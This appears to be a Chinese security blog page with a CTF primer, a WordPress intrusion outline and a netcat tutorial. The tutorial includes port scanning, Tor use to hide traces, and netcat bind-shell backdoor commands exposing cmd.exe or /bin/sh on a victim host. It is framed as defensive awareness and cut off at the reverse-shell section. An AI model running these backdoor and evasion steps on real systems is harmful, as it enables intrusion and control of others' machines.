DSLBQ'S_BLOG

作者: dslbq

  • CTF

    CTF

    简介

    Capture The Flag,中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行攻防竞技的一种比赛形式,起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

    国际知名CTF赛事

    • DEFCON CTF:CTF赛事中的“世界杯“
    • UCSB iCTF:来自UCSB的面向世界高校的CTF
    • Plaid CTF:包揽多项赛事冠军的CMU的PPP团队举办的在线解题赛
    • Boston Key Party:近年来崛起的在线解题赛
    • Codegate CTF :韩国首尔“大奖赛”,冠军奖金3000万韩元
    • Secuinside CTF:韩国首尔“大奖赛”,冠军奖金3000万韩元
    • XXC3 CTF:欧洲历史最悠久CCC黑客大会举办的CTF

    国内赛事

    • XCTF联赛:国内最权威、最高技术水平与最大影响力的CTF赛事平台
    • 强网杯:最权威的国家级安全比赛,中央网信办网络安全协调局指导
    • 红帽杯:广东省公安厅、广东省计算机网络安全协会举办
    • AliCTF:阿里安全技术竞赛,由阿里巴巴公司组织
    • TCTF:腾讯信息安全争霸赛,由腾讯安全联合实验室主办
    • BCTF:百度全国网络安全技术对抗赛,由百度安全主办
    • WCTF:世界黑客大师赛,由360Vulcan团队组织
    • HCTF:由杭州电子科技大学信息安全协会主办的CTF
    • IScC:全国大学生信息安全与对抗技术竞赛,由北理工组织

    CTF学习

    竞赛模式

    解题模式(Jeopardy)

    • 在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。
    • 题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。

    攻防模式(Attact-Defense)

    • 在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。
    • 攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。

    混合模式(Mix)

    结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。

    题目类型

    • Reverse(逆向工程)
    • Pwn(破解)
    • Web ( Web安全)
    • Crypto (加解密)
    • Misc(杂项)
    • Mobile(移动安全)

    Reverse(逆向工程)

    • 题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译功底。
    • 主要考查参赛选手的逆向分析能力。
    • 所需知识:汇编语言、加密与解密、常见反编译工具。

    Pwn(破解)

    Pwn在黑客俚语中代表着攻破,获取权限,在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有整数溢出、栈溢出、堆溢出等。
    主要考查参赛选手对二进制、漏洞挖掘和利用能力。
    所需知识:C/C++、OD+IDA、数据结构、操作系统、汇编原理。

    Web ( Web安全)

    • Web题目涉及到许多常见的Web漏洞,如Xss、文件包含、代码执行、上传漏洞、SQL注入等。也有一些简单的关于网络基础知识的考察,如返回包、TCP/IP、数据包内容和构造。
    • 主要考察选手Web站点漏洞挖掘和利用能力。
    • 所需知识:PHP、Python、TCP/IP、SQL、OWASP TOP10。

    Crypto (加解密)

    • 题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术,以及一些常见编码解码。
    • 主要考查参赛选手密码学相关知识点。
    • 所需知识:矩阵、数论、密码学。

    Misc(杂项)

    • 主要考查参赛选手的各种基础综合知识。隐写术、流量分析、数字取证、编码转换等,覆盖面比较广。
    • 主要考查参赛选手的各种基础综合知识。
    • 所需知识:常见隐写术工具、Wireshark 等流量审查工具、编码知识等。

    Mobile(移动安全)

    • 主要分为Android和 iOS 两个平台,以Android逆向为主,破解APK并提交正确答案。
    • 主要考察选手APP漏洞挖掘和利用能力。
    • 所需知识:Java,Android开发

    学习建议

    • 在掌握一定的基础知识的前提下,动手去做题
    • 在能力范围的题目,尽可能自己解出
    • 能力范围外的题目,参考writeup(题解)并亲手实践也非常有意义

    怎么判断题目是否在能力范围内?

    • 是否真的认真思考并尝试解题
    • writeup中是否涉及自己的短板知识

    网站链接

    题目案例:WordPress

    信息收集

    1. 主机发现,扫描和识别端口服务,找到22、80、3306
    2. 目录扫描,找到敏感目录,包括数据库和网站后台
      dirb http://www.xxx.com
    3. 手工尝试登录数据库后台,修改网站账号密码
    4. 利用网站账号登录网站后台,上传网站木马( shell)
    5. 执行网站木马获取低权限shell ,判断系统版本寻找提权方法
    6. 使用Dirty Cow漏洞提权,获取管理员账号实现Root权限
  • 密码保护:渗透测试笔记

    密码保护:渗透测试笔记

    此内容受密码保护。如需查阅,请在下列字段中输入您的密码。

  • netcat的 N 种用法

    netcat的 N 种用法

    今天这篇文章主要目的是:介绍如何用 netcat 这款小工具进行网络诊断、网络配置、系统管理。另外:本文并不是为了传授入侵技巧,而是为了让那些注重安全性的同学,稍微了解一些入侵者的手法,做到知己知彼。

    netcat 是什么

    netcat 一般简称为 nc,直译为中文就是网猫,被誉为网络上的瑞士军刀。它诞生于1995年,在网络安全社区的名气很大(就如同 AK47 在军事领域的名气)。长期在安全圈内混的人,应该都知道它。想当年,insecure.org 网站在本世纪初搞过几次年度投票,评选优秀的安全工具。每次投票,netcat 都能排进前几名。

    关于 nc 的更多介绍,请参见维基百科[链接]

    netcat 能做什么

    概述

    简而言之,nc 是一个命令行工具,能够很方便、很灵活地地操纵传输层协议(这里所说的传输层协议指的是 OSI 模型中的第4层,主要是 TCP & UDP)。

    nc 的变种

    由于 nc 是如此牛逼,而它本身又很小(不但软件很小,源代码也很少)。很容易就衍生出一大堆变种。不同的变种,会在原有 nc 的基础上增加一些新功能。本文的内容,主要基于 OpenBSD 社区的变种(OpenBSD netcat或netcat-openbsd)

    顾名思义,这是由 OpenBSD 社区重写的 netcat,主要增加了对IPv6、proxy、Unix sockets等功能的支持。另外,在细节上也有若干完善。虽然它出自 OpenBSD 社区,但很多主流 Linux 发行版的官方软件仓库已包含这个变种(比如说:Debian 、Arch 、openSUSE 、Gentoo等),OpenBSD netcat官网的帮助页面[链接],官方代码仓库[链接]

    本文后续部分提到的 nc,除非专门注明,否则都是指:netcat 的 OpenBSD 变种。原始的 netcat会称之为原版 nc(traditional netcat)。

    nc 命令行简介

    要使用 nc,需要在命令行中与它打交道(它所有的功能,都以命令行的方式呈现出来)。

    nc 命令行的常规形式

    一般来说,nc 的命令行包括如下几个部分:

    nc 命令选项 主机 端口
    • 命令选项
      这部分可能包含 0~N 个选项(注:这部分最复杂,下一个小节单独聊)
    • 主机
      这部分可能没有,可能以点分十进制形式表示,也可能以域名形式表示。
    • 端口
      这部分可能没有,可能是单个端口,可能是端口范围。
      对于端口范围,以两个数字分别表示开始和结束,中间以半角减号相连。举例:1-1024

    常用的命令行选项

    选项是否有选项值说明
    hNO输出 nc 的帮助
    vNO在网络通讯时,显示详细的输出信息
    注:建议新手多用该选项,出错时帮你诊断问题
    nNO对命令行中的主机,不进行域名解析
    注:如果主机是点分格式的 IP 地址,需要用该选项;
    如果主机是域名形式,不能用该选项
    pYES指定端口号
    lNO开启监听模式,nc 作为服务端
    注:如不加该选项,nc 默认作为客户端
    uNO使用 UDP 协议
    注:如不加该选项,默认是 TCP 协议
    wYES设置连接的超时间隔(N 秒)
    qYES让 nc 延时(N 秒)再退出
    zNO开启zero-I/O 模式
    注:该选项仅用于端口扫描,后面会聊到
    kNO配合 -l 选项使用,可以重复接受客户端连接。
    注:原版 nc的该选项用来开启TCP keepalive
    这是原版 nc与OpenBSD 变种之间的差异之一
    XYES指定代理的类型(具体用法,后面会聊到)
    注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
    xYES以 IP:port 的格式指定代理的位置。
    注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
    eYES启动某个进程,把该进程的标准输入输出与网络通讯对接
    注:通常用该选项开启一个网络后门
    OpenBSD 变种基于安全考虑,已去掉该选项,
    但还是能用间接的方式达到同样的效果 🙂

    汇总上述表格,只是用来速查。在后续章节会具体介绍每个命令选项的详细用法。

    场景一:测试某个远程主机的监听端口是否可达

    场景说明

    经常有这种需求,要判断某个主机的监听端口是否能连上。导致监听端口无法连接,通常有两种原因:

    1. 监听端口没有开启。
    2. 监听端口已开启,但被防火墙阻拦。

    对第1个原因,可以直接用 netstat 这个命令查看监听端口是否开启。但对于第2个原因,netstat 就用不上。这时候就可以用 nc 来查看。

    方法

    用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

    nc -nv x.x.x.x xx

    上述命令用到了如下几个选项:

    • 选项 -v
      打印更详细的输出
    • 选项 -n
      由于测试的是IP 地址,用该选项告诉 nc,无须进行域名(DNS)解析。反之,如果测试的主机是基于域名,就不能用选项 -n

    补充说明:超时设置

    在测试链接时,如果没有使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才通知连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么可以追加-w 选项,设置一个比较小的超时值。在下面的例子中,超时值设为3秒。

    nc -nv -w 3 x.x.x.x xx

    补充说明:UDP

    通常情况下,要测试的端口都是 TCP 协议的端口,如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 -u 选项。

    场景二:判断防火墙是否允许 or 禁止某个端口

    场景说明

    假设正在配置防火墙规则,禁止 TCP 的 8080 端口对外监听。那么如何验证配置是否正确?更进一步说:如果当前没有任何软件开启 8080 这个监听端口,如何判断:该端口号是否会被防火墙阻拦?

    为了叙述方便,设想如下场景:
    有两台主机:主机C充当客户端,主机S充当服务端。然后要判断主机S上的防火墙是否会拦截其它主机对 8080 TCP 端口的连接。

    方法

    在主机S上运行 nc,让它在 8080 端口,命令如下:

    nc -lv -p 8080
    • 选项 -l
      让 nc 进入监听模式
    • 选项 -p
      具体端口号

    然后在主机C上运行 nc,测试主机S上的 8080 端口是否可达(场景一

    补充说明:是否省略 -p?

    某些 nc 的变种,在开启监听模式时,可以省略 -p,上述命令变为如下:

    nc -lv 8080  

    但考虑到兼容性,本文总是写上 -p 选项。

    补充说明:如何让 nc 的监听端口持续开启

    在默认情况下,nc 开启 listen 模式充当服务端,在接受第一次客户端连接之后,就会把监听端口关闭。这是因为当年设计 nc 更多的是作为某种网络诊断/配置工具,并不是真拿它当服务端软件来用的。如果想让 nc 始终监听模式,使之能重复接受客户端发起的连接,可以追加 -k 选项。

    补充说明:UDP

    上述举例基于 TCP 协议。如果测试 UDP 协议,需要在两端的 nc 都追加 -u 选项。

    场景三:用 nc 进行端口扫描

    场景说明

    场景一里面已经介绍如何测试单个端口是否可达。扩展一下:如果要测试的不止一个端口,而是某个范围的端口。这种行为有个专门的术语叫端口扫描

    端口扫描是一把双刃剑,黑帽子用这招进行信息收集,为后续的入侵做铺垫。白帽子用这招来进行渗透测试,以排查自己系统中尚未屏蔽的对外监听端口。

    方法

    下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024

    nc -znv x.x.x.x 1-1024
    • 选项 -z
      开启zero-I/O 模式:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯
    • 选项 -n
      参见场景一说明
    • 选项 -v
      -v 选项前面也聊过,这里要特别强调:对 nc 的其它用法,-v 选项可加可不加,但对于端口扫描,一定要有这个选项,否则看不到扫描结果

    补充说明:优化输出

    端口扫描时,-v 选项会把成功/失败的结果统统打印出来。而通常关注的都是扫描成功的那些端口。因此,可以用如下命令过滤一下,只打印扫出来的端口:

    nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded

    由于-v 选项产生的输出位于stderr,上述命令中的 2>&1 用来把stderr合并到stdout(注:这种写法只适用于 POSIX 系统上的 shell),grep 命令用来进行过滤。对于 Windows 系统,默认没有grep 命令,需改用 find 命令过滤。

    补充说明:超时设置

    如果要扫描的端口范围,跨度比较大,超时值要恰到好处:超时值太大,会浪费时间。超时值太小,可能会遗漏某些端口(端口本身开放,但 nc 还没来得及连上就超时)。

    补充说明:并发扫描

    如果设置了较小的超时值,依然嫌慢,还可以用并发扫描的方式进一步提升效率,简而言之就是:同时运行多个 nc,分别扫描不同的端口范围。

    场景四:用 nc 消除网络层面的踪迹

    场景说明

    原版 nc不支持代理,而 nc 的OpenBSD 变种支持各种代理。这是两种 nc 之间的关键性差异之一。

    方法

    为了支持代理,nc 的OpenBSD 变种增加了两个选项:-X 与 -x

    选项 -x
    该选项表示代理的位置,以 x.x.x.x:xxx 的形式表示

    选项 -X
    该选项表示代理的类型,含义如下:

    选项值含义
    5SOCKS5 代理
    4SOCKS4 代理
    connectCONNECT 型的 HTTP 代理

    首先,确保本机已经运行了 Tor,然后测试一个域名,如果 nc 的输出中包含 succeeded,说明nc 已经能通过 Tor 联网。

    nc -X 5 -x 127.0.0.1:9050 -q 3 -v www.google.com 443 
    Connection to www.google.com 443 port [tcp/https] succeeded! 

    (注:如果你用的是Tor Browser,上述命令中的-x 选项值改为 127.0.0.1:9150

    补充说明:延时退出

    在上述举例中,用到了一个新的 -q 选项。主要考虑到:用 nc 连接公网服务器时,网络传输质量会受到诸多因素的影响,最好加 -q 选项,让 nc延时3秒退出,实际操作要根据个人网络环境进行调整。

    补充说明:Tor 线路

    由于 Tor 的线路会经历三级跳三重套,而且其线路每隔10分钟就会随机变换一次。这种方式让网络层面的逆向追溯变得非常困难。

    补充说明:域名解析

    当用了nc over Tor之后,一旦 nc 的网络行为需要解析域名,会自动通过 Tor 的 SOCKS 代理进行远程域名解析。也就是说,DNS 协议相关数据流也经过 Tor,这样就可以消除网络层面的踪迹。

    补充说明:设置别名(alias)

    如果觉得每次都输入上述两个代理选项太麻烦,可以为 nc 设置一个别名

    alias nc-tor='nc -X 5 -x 127.0.0.1:9050'  

    设置好之后,只要用 nc-tor 就可以自动追加代理选项。如果想让别名永久生效,要把上述命令加入到当前使用的 shell 的启动文件中。再次说明,裸 Tor与Tor Browser的监听端口有差异。上述命令的 9050 是用于裸 Tor。

    场景五:用 nc 探测服务器类型和软件版本

    场景说明

    黑帽子有一个很重要的步骤叫做信息收集,对目标了解得越多,得手的机会就越大。下面以 SSH Server(sshd)举例。

    方法

    远程管理服务器,大概最常用的就是 SSH 这种方式,如果某个服务器运行了SSH 服务端,那么用如下命令可以看出:该服务器的操作系统类型,以及 SSH server 的版本:

    echo "EXIT" | nc-tor -vq 5 -n 服务器IP 22 
    echo "EXIT" | nc-tor -vq 5 服务器域名 22
    • 选项 -v
      nc 会先显示端口已经连上或者端口连不上
    • 选项 -q
      参见场景四的延时退出
    • nc-tor 别名
      参见场景四的设置别名

    前面聊了这么久,一直没有给出实例。现在来一个真实的例子:用 nc 探测 Github 的 SSH 端口(注:在如下终端窗口中,头一行是命令,后面两行是输出)

    echo "EXIT" | nc-tor -vq 5 ssh.github.com 22 
    Connection to ssh.github.com 22 port [tcp/ssh] succeeded! 
    SSH-2.0-babeld-dae25663

    补充说明:echo 命令

    上述用到的 echo 命令是 POSIX 下常用的命令。Windows 的命令行中也有同名的命令,但功能/用法有差异。

    补充说明:批处理 & 自动化

    攻击者甚至可以写一个脚本,批量探测某个 IP 地址段的 22 端口,然后把找到的服务器信息保存在某个文件中。另外,有的系统管理员会把 sshd 的监听端口从 22 改为其它数值,想要迷惑攻击者。但这么做效果不大:可以先进行端口扫描,拿到所有已开启的 TCP 监听端口,然后利用上述方法,对这些 TCP 端口进行自动化探测,从而判断出哪个端口是 SSH Server。

    补充说明:防范措施

    本章节以SSH Server举例来说明入侵者如何探测服务端的软件版本。除了SSH Server,很多其它的服务端软件,也存在类似的信息暴露。一个谨慎的系统管理员,应该通过定制,消除或伪造这些信息,从而增加入侵者的攻击成本。

    场景六:用 nc 实现无痕 Web 访问

    场景说明

    有时候想要看某个 Web 服务器上的某个页面的内容,但是又不希望在上面留下任何痕迹。这里所说的痕迹既包括网络层面,也包括操作系统&软件层面滴。
    要解决网络层面,主要靠Tor or I2P,来隐藏真实的公网 IP,具体参见场景四。要解决操作系统&软件层面会麻烦一些。如果用传统的浏览器(Chrome、Firefox、IE、Edge等)访问了某个页面。即使禁用了 JS,伪造了浏览器的User Agent。但如果 Web 服务器想要收集你的系统指纹,还是有若干办法:可以通过浏览器的一些差异,获得某些信息量(浏览器指纹)。比如:

    • HTTP 协议的Header字段可能会包含某些信息
    • 不同内核的浏览器,对页面的渲染会有差异。对页面中的外部元素(图片、JS、CSS等)的加载效率也会有所差异
    • 即使同一款浏览器,在不同系统平台上,依然会表现出某些差异
    • ……

    此时,nc 再度派上用场:可以使用 nc 直接抓取页面保存到本机,相当于:让 nc 在裸 TCP层面执行 HTTP 协议的命令。在整个过程中,浏览器完全不参与其中。既不会暴露浏览器的信息,也不会暴露操作系统的信息。

    方法

    先执行下列两个命令的其中一个(具体看用IP还是域名)

    echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
    echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

    nc 会把这个页面抓下来,打印到命令行终端。这时候看到的是HTML 源代码。上述命令访问的是 Web Server 的根路径。如果你想要看其它路径的页面(比如说:/index.html),稍微修改成如下:

    echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
    echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

    由于正常人类是无法直接阅读HTML 源代码,为了更加人性化,可以把 nc 抓下来的 HTML 源代码,(在命令行中用大于号)重定向到某个 HTML 文件,然后就可以用本机的浏览器阅读。

    补充说明:HTTP 协议

    协议版本
    有些同学会奇怪:为何上述的示例用的是 1.0 而不是 1.1?主要是为了偷懒,按照 RFC 的规范,HTTP 1.1 的 Request 中,Host 是必须的字段;而在 HTTP 1.0 中,这个字段是可选的。 🙂

    HTTPS
    nc 的OpenBSD 变种还不支持 HTTPS(SSL/TLS)。在本文末尾介绍的其它变种里面,ncat & socat 已经完全支持 SSL/TLS 协议。由于本文主要介绍 nc 的OpenBSD 变种,关于 ncat & socat 的话题,就不展开了。

    补充说明:这种方式的缺点

    关于页面的外部元素
    这种方式nc 只抓取页面本身,不包括页面中的外部元素(图片、JS、CSS等)。
    这种方式拿到的页面,阅读的时候会显得比较丑陋(就凑合着看吧)

    关于JS 引擎
    由于此方式只是在 TCP 层面模拟了简单的 HTTP 协议。所以只能得到静态 HTML。如果某个页面的内容是依靠前端 JS动态生成( AJAX 风格),那么这种方式则无效(因为 nc没有JS 引擎)。

    场景七:基于 nc 的端口转发(Port Forward)

    原理

    用 nc 进行端口转发,需要运行两个nc 进程,一个充当服务端,另一个是客户端,然后用管道让把两个进程的标准输入输出交叉配对。所谓的交叉配对就是:每一个 nc 进程的标准输出都对接到另一个 nc 进程的标准输入。如此一来,就可以完美地建立双向通讯

    大部分 shell 都支持管道符(竖线符号 |),可以把某个进程的标准输出,重定向给另一个进程的标准输入。但是 shell 的管道符只能做到单向配对,无法做到交叉配对。所以还需要再借助另一个管道——也就是命名管道。

    命名管道(named pipe)是一种进程间通讯(IPC)的机制。顾名思义,命名管道就是有名号的,而 shell 中使用的那个管道符,其本质上是匿名管道(无名管道)。

    主流的操作系统(Windows、Linux、UNIX)都支持命名管道这种机制,本文只以 Linux 举例。

    方法

    步骤1:创建命名管道
    用下面这个简单的命令创建一个命名管道,其名称叫做 nc_pipe(也可以用别的名称)。

    mkfifo nc_pipe

    步骤2:同时启动两个 nc

    nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe  

    运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口,前一个 nc 充当服务端,后一个 nc 充当客户端。命令行中的管道符使得服务端nc的输出绑定到客户端nc的输入。然后再用 nc_pipe 这个命名管道做中转,使得客户端nc的输出绑定到服务端nc的输入。从而完成了交叉配对。

    补充说明:如何让 nc 的监听端口持续开启

    参见场景二的持续开启

    场景八:基于 nc 的代理转发(Proxy Forward)

    场景说明

    提醒一下:不要混淆本章节与场景四
    场景四聊的是nc 自己通过代理进行网络访问(nc over Tor),本章节聊的是nc 帮助其它网络软件走代理进行网络访问(XX软件 over nc over Tor)。

    比如说,SSH 是很常用的一个安全工具:用来远程操作服务器。在某些特殊场合,想要通过 SSH 登录某个服务器,但是又不希望服务器记录其真实的公网 IP,说到这里,可能猜到让 SSH 走 Tor 代理(SSH over Tor)。但可惜的是:(POSIX 系统中常用的)OpenSSH 客户端不支持SOCKS 代理,而 Tor 默认提供的是 SOCKS 代理。这时候,netcat 就派上用场啦——用 nc 把 SSH 的数据流转发到 Tor 的 SOCKS 代理。

    方法

    用如下命令测试连接是否成功。

    ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -T ssh.xxxxxx.com
    1. 假如Tor 客户端运行在本机,那么上述命令中的代理地址就替换为 127.0.0.1
      否则就替换为:运行 Tor 客户端的主机的 IP 地址。
    2. 如果Tor 客户端用的是 Tor Browser,端口号必须用 9150
      如果你用的是 Tor 的其它软件包(比如:Tor Expert Bundle),则端口号使用 9050

    上述测试命令如果最终显示 Permession denied 就说明已经通过 SOCKS 代理连接到 xxxxxx 了(也就是说,你的 SSH 已经能够走 SOCKS 代理联网了)。如果没有显示这个信息,而是显示了其它其它信息,你再用如下命令重新试一次

    ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -Tv ssh.xxxxxx.com

    这次加了一个 v 选项,可以打印出详细的诊断信息。

    为了方便起见,同样可以把 SSH 的这个 ProxyCommand 命令行选项加入到 SSH 的配置文件。如此一来,以后每次你要连接 Website 的服务器,都会自动走 Tor 提供的 SOCKS 代理。

    补充说明:SSH over Tor与Tor over SSH

    即使懂技术的同学,有时候也会混淆这两者,说明一下:

    • Tor over SSH
      这种方式相当于 SSH 作为 Tor 的前置代理。假设你有一个 SSH server,就可以让你的 Tor 客户端通过这个 SSH server 联网。
    • SSH over Tor
      这是让 SSH 通过 Tor 网络连接到 SSH 服务器,从而隐藏 SSH 客户端的真实 IP。在这种情况下,SSH 服务器看到的访问者 IP 是Tor 出口节点的公网 IP。

    场景九:用 nc 传输文件

    场景说明

    有时候,你需要在两台电脑之间传输文件。也可以用 nc 搞定。某些人会问:为啥不用 Windows 的共享目录?反驳的理由很多:

    1. 只能在 Windows 上用
    2. 为了使用共享目录,需要启用(Enable)系统中的好几个 service,这会增加你系统的攻击面
    3. 启用的 service 越多,占用的内容也越多,影响性能
    4. ……

    还有些同学会问:为啥不用 FTP、SSH(或诸如此类的东东)?其实:

    1. 如果只是临时传一个文件,还要额外再去装某某软件的客户端/服务端,岂不是很蛋疼?
    2. 任何服务端软件,(从某种意义上说)都是在增加攻击面。

    方法

    为了叙述方便,假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2,你先在接收端(B 主机)运行如下命令(其中的 xxx 是端口号)

    nc -l -p xxx > file2

    然后在发送端(A 主机)运行如下命令

    nc x.x.x.x xxx < file1

    第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

    补充说明:nc 的性能优势

    用 nc 传输文件,相当于是:直接在裸 TCP层面传输。你可以通俗理解为:没有应用层。如果你传输的文件超级大或者文件数量超级多,用 nc 传输文件的性能优势会很明显(相比FTP、SSH、共享目录…而言)。

    场景十:用 nc 远程备份整个磁盘

    使用场景

    当学会用 nc 传输文件,还可以用 nc 复制整个硬盘。无论是对系统管理员,还是对数据取证人员,这招都很有用。

    说明一下,磁盘复制不同于在两块磁盘之间复制文件。两者之间有很多差别,至少包括:  

    • 性能差异:如果源盘上有非常多的小文件,在两块磁盘之间复制文件就会非常慢
    • 完整性差异:磁盘复制可以确保两块盘的内容是完全一致滴。而如果你仅仅在两块磁盘之间复制文件,很多信息都会损失掉

    一般来说,系统管理员更看重第1个差异(性能),而数据取证人员更看重第2个差异(完整性)。

    原理

    为了传输整个磁盘,你需要用到 dd 命令。dd 源自 UNIX,后来也移植到 Linux 和 Windows。关于 dd 命令的更详细介绍,可以参见维基百科[链接]或Gnu 官网[链接]

    通过 dd 命令,你可以把整个硬盘(或者硬盘上的某个物理分区、逻辑分区)dump 成一个文件。在本章节,由于最终目的是要跨主机备份磁盘,所以并不需要真的把 dd 命令的输出保存成文件,而是把 dd 的输出通过管道符(|)重定向给本机的 nc,然后让本机的 nc 发送到另一台主机的 nc。

    方法

    由于操作物理磁盘会涉及到操作系统的差异,下面以 Linux 举例:

    假设要把 A 主机 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。

    先在接收端B 主机)运行如下命令(其中的 xxx 是端口号):

    nc -l -p xxx | dd of=/dev/sdb

    然后在发送端(A 主机)运行如下命令:

    dd if=/dev/sda | nc x.x.x.x xxx  

    第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

    补充说明:nc 的性能优势

    如今的存储设备越来越大。磁盘或者分区动不动都是几百个 GB,这时候 nc 的性能优势就能体现出来。

    场景十一:用 nc 开启被动型连接

    做这方面的介绍,并不是为了传授入侵技巧。而是为了让那些注重安全性的同学了解相关细节,做到知己知彼。

    使用场景

    假设1:你使用的浏览器存在某个安全漏洞,并且该漏洞会让攻击者获得执行代码的机会。
    假设2:你在某个公共场合使用某个 wifi 热点上网。遗憾的是,这个热点是攻击者设置的陷阱。
    假设3:设置该陷阱的攻击者,正好也知道:如何利用上述漏洞。

    当这三个假设都成立,攻击者就可以获得在你本机执行代码的机会。这时候攻击者可以下载一个 nc 到你本机,然后用 nc 开启一个被动型连接。所谓的被动型连接就是指:nc开启对外监听端口。

    在该场景中,因为攻击者与你处于同一个局域网,攻击者自然能从自己的机器访问到你本机的 nc 后门。

    原理

    为了让连接能工作,通常会使用 nc 的 -e 选项,该选项的选项值是一个可执行文件的路径。设置了该选项之后,当处于监听状态的 nc 接受到某个连接,会启动选项值对应的可执行文件并得到某个进程,nc 会把该进程的标准输入输出与网络通讯对接。

    为了让这个连接权限足够大,攻击者通常会让 nc 去启动一个shell 进程。对 Windows 系统而言,就是 cmd.exe;对 POSIX 系统(Linux or UNIX)而言,就是 /bin/sh

    在这种情况下(nc 挂载 shell),攻击者远程连入 nc 的端口,就可以直接在这个 shell 上进行各种操作,其效果类似于 SSH 或(老式的)telnet。

    方法

    步骤1
    如果受害者是 Windows 系统,只须如下命令就可以开启一个后门(其中的 xxx 是端口号)

    nc.exe -l -p xxx -e cmd.exe  

    如果受害者是 POSIX 系统(Linux or UNIX),则用如下命令:

    nc -l -p xxx -e /bin/sh

    步骤2
    连接创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为服务端 nc。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

    补充说明:-e 选项

    据说是考虑到 -e 选项太过危险,nc 的 OpenBSD 变种(在多年前)已经移除了该选项。但其实,还是可以用间接的方式达到同样的效果(具体如何做,就不透露了)。另外原版 nc依然有这个选项;nc 的很多其它变种,也依然有这个选项。

    不够靠谱的防范措施

    在这个场景中,大伙儿可能会想到三个值得改进之处:

    1. 浏览器的漏洞
    2. 使用公共 wifi 热点的习惯
    3. 防火墙的设置

    对第1点其实是无解的,因为任何人都无法确保浏览器是零漏洞。
    对第2点要看每个人的具体情况而定。对有些人而言,用公共热点上网属于刚需,那就没办法了。
    对第3点防火墙设置,似乎是比较通用的解决之道。对大部分人而言,桌面 PC 根本就不必开启对外监听端口。因此,你可以配置操作系统自带防火墙,禁止所有的对外监听端口。但是,操作系统自带的防火墙,本身也运行在操作系统之内。如果你是以管理员身份遭遇入侵,入侵者在进行代码执行的时候,就已经具有了管理员权限。在这个权限下,入侵者完全有可能搞定防火墙。方法有很多种:

    比如说:把用作后门的端口号,悄悄加入到防火墙的白名单中。
    再比如说:直接把防火墙的过滤模块干掉。
    更牛逼的入侵者,甚至可以在网卡驱动上做文章:因为网卡驱动位于防火墙的过滤模块之下,比防火墙更底层。

    靠谱的防范措施:NAT 模式的虚拟机(Guest OS)

    步骤如下:

    1. 当然先要安装虚拟化软件(VBox、VMware …)
    2. 安装一个虚拟的操作系统(Guest OS)
    3. 虚拟系统的网卡设置为NAT模式

    完成上述步骤后,你就可以在这个虚拟系统中上网。NAT 的好处在于单向可见。也就是说,Guest OS 可以访问到物理系统(Host OS)外部的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

    在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也没办法在 Guest OS 中搭建被动型连接。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门无法接受外部网络的连接,这个后门就失去意义。

    补充说明:NAT 模式如何搭配系统防火墙?

    上述NAT设置与系统防火墙并不矛盾,也就是说,即使用了该设置,物理系统(Host OS)还是要配置系统防火墙,并禁止所有的对外监听端口。

    场景十二:用 nc 开启主动型连接

    场景说明

    继续用前一个章节的场景,差别在于采纳了前一章节的措施:在某个 NAT 模式的虚拟机(Gest OS)中上网,以对付被动连接型的 nc 后门。

    可惜的是即便如此,入侵者在利用漏洞并获得执行代码的机会之后,还是有办法用 nc 在你的电脑上搞一个网络后门。虽然你用了 NAT 模式的虚拟机(Guest OS),但入侵者可以用 nc 创建一个主动连接型的网络后门(有时也称作反向连接后门)。

    原理

    原理其实与场景十一很类似,唯一的差别在于:把客户端与服务端对调。也就是说攻击者手头的 nc 充当服务端,而受害者机器上的 nc 充当客户端。此时,受害者本机的 nc无须开启监听端口,不受防火墙的影响,也不受NAT 的影响。

    方法

    步骤1
